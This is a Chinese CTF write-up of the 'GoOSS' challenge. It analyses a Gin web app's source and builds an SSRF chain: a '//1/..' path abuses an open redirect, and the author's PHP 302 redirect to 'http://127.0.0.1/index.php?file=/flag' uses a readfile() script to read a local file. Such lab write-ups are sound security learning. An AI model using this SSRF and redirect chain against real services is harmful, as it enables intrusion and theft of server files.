津门杯GoOSS
弄懂这道题花了我很长时间,期间走了很多弯路……(wotaicaile
在写这道题的路上,我学习(了解)了DNS绑定攻击、Google账号验证、免费域名注册(白嫖)、golang、搭建go环境、gin、dlv调试golang……
gin代码
在go程序最前可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import ( "bytes" "crypto/md5" "encoding/hex" "fmt" "io" "io/ioutil" "net/http" "os" "strings" "time" "github.com/gin-gonic/gin" )
|
"github.com/gin-gonic/gin"
既是gin框架,所以既要看得懂go,也要学看gin……
路由:
1 2 3 4 5 6 7 8 9 10 11 12 13
| func main() { fmt.Println("start") r := gin.Default() r.Use(fileMidderware) r.POST("/vul", vulController) r.POST("/upload", uploadController) r.GET("/", func(c *gin.Context) { c.JSON(200, gin.H{ "message": "pong", }) }) _ = r.Run(":1234") }
|
r.Use(fileMidderware)
设置了全局中间件
r.POST("/vul", vulController)
设置了对该路径请求的局部中间件
vulController:
1 2 3 4 5
| var url Url if err := c.ShouldBindJSON(&url); err != nil { c.JSON(500, gin.H{"msg": err}) return }
|
捆绑url为json格式,post传参时需要传:{"url":"xxxx"}
1 2 3 4 5 6 7 8 9 10 11 12 13
| if !strings.HasPrefix(url.Url, "http://127.0.0.1:1234/") { c.JSON(403, gin.H{"msg": "url forbidden"}) return } client := &http.Client{Timeout: 2 * time.Second}
fmt.Println("1")
resp, err := client.Get(url.Url) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return }
|
限制了内网访问的端口
uploadController:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| var file File if err := c.ShouldBindJSON(&file); err != nil { c.JSON(500, gin.H{"msg": err}) return }
dir := md5sum(file.Name)
_, err := http.Dir("./files").Open(dir) if err != nil { e := os.Mkdir("./files/"+dir, os.ModePerm) _, _ = http.Dir("./files").Open(dir) if e != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()}) return
}
} filename := md5sum(file.Content) path := "./files/" + dir + "/" + filename err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return }
c.JSON(200, gin.H{ "message": "file upload succ, path: " + dir + "/" + filename, }) }
|
大概是在files文件夹下上传文件的功能,当时尝试了下,似乎并不存在什么漏洞……
fileMidderware:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| func fileMidderware(c *gin.Context) { fileSystem := http.Dir("./files/") if c.Request.URL.String() == "/" { c.Next() return } f, err := fileSystem.Open(c.Request.URL.String()) if f == nil { c.Next() } if err != nil { c.Next() return } defer f.Close() fi, err := f.Stat() if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } fmt.Println("2") if fi.IsDir() { fmt.Println(c.Request.URL.String()) if !strings.HasSuffix(c.Request.URL.String(), "/") { fmt.Println(c.Request.URL.String()) c.Redirect(302, c.Request.URL.String()+"/") fmt.Println(c.Request.URL.String()) } else { files := make([]string, 0) l, _ := f.Readdir(0) for _, i := range l { files = append(files, i.Name()) }
c.JSON(http.StatusOK, gin.H{ "files": files, }) }
} else { data, _ := ioutil.ReadAll(f) c.Header("content-disposition", `attachment; filename=`+fi.Name()) c.Data(200, "text/plain", data) }
}
|
在/vul中请求{"url":"127.0.0.1:1234/../"}
:
访问到了上级files目录,不存在别的东西了……
源码给了index.php:
1 2 3 4 5 6 7
| <?php
readfile($_GET['file']);
?>
|
如果能访问到80默认端口上的index并传参就可以获取flag
ssrf
1 2 3 4
| fmt.Println(c.Request.URL.String()) if !strings.HasSuffix(c.Request.URL.String(), "/") { fmt.Println(c.Request.URL.String()) c.Redirect(302, c.Request.URL.String()+"/")
|
关键是这里的代码……由于gin的配置,访问xxx.xxx.xxx/haha
与xxx.xxx.xxx/haha/
并不相同
strings.HasSuffix
检测c.Request.URL
是否以\结尾,若不是则加上并跳转。大概本意也许是想解决这个问题?(好像哪里又不大对)……
配置好dlv调试代码服务:
c中含有request:
request中含有host和url,这里的url应该类似为资源文件?
如果我们传入:{"url":"http://127.0.0.1:1234//1/.."}
:
网站尝试解析网址1……
在不以/
结尾的情况下,302跳转直接使用c.Request.URL进行跳转,类似加载外部js,拼接上/
后,//1/../
被认为是相对url并予以访问(大概),造成ssrf(应该)。
https://guokeya.github.io/post/5IcFhBKyk/
大师傅说:
Location可以控制为//,而//就是省略HTTP协议的写法,以作参考。
302跳转
我们现在能控制目标机访问外网,那怎么利用这一点呢……
我们可以在自己的服务器写一个302跳转,使目标机访问后跳转到(目标机)本机的默认端口上并读取flag。
1 2 3
| <?php header("Location: http://127.0.0.1/index.php?file=/flag"); ?>
|
获得flag!
流程:
访问/vul-》fileMidderware-》vulController-》resp, err := client.Get(url.Url)
-》fileMidderware-》302跳转(c.Request.URL)-》服务器-》302跳转-》127.0.0.1/index.php?file=xxx-》flag
总之还是搞了不少东西的,虽然有很多无用功,花了好几天,但也很增长知识。
如果哪里我理解的不对希望能告诉我!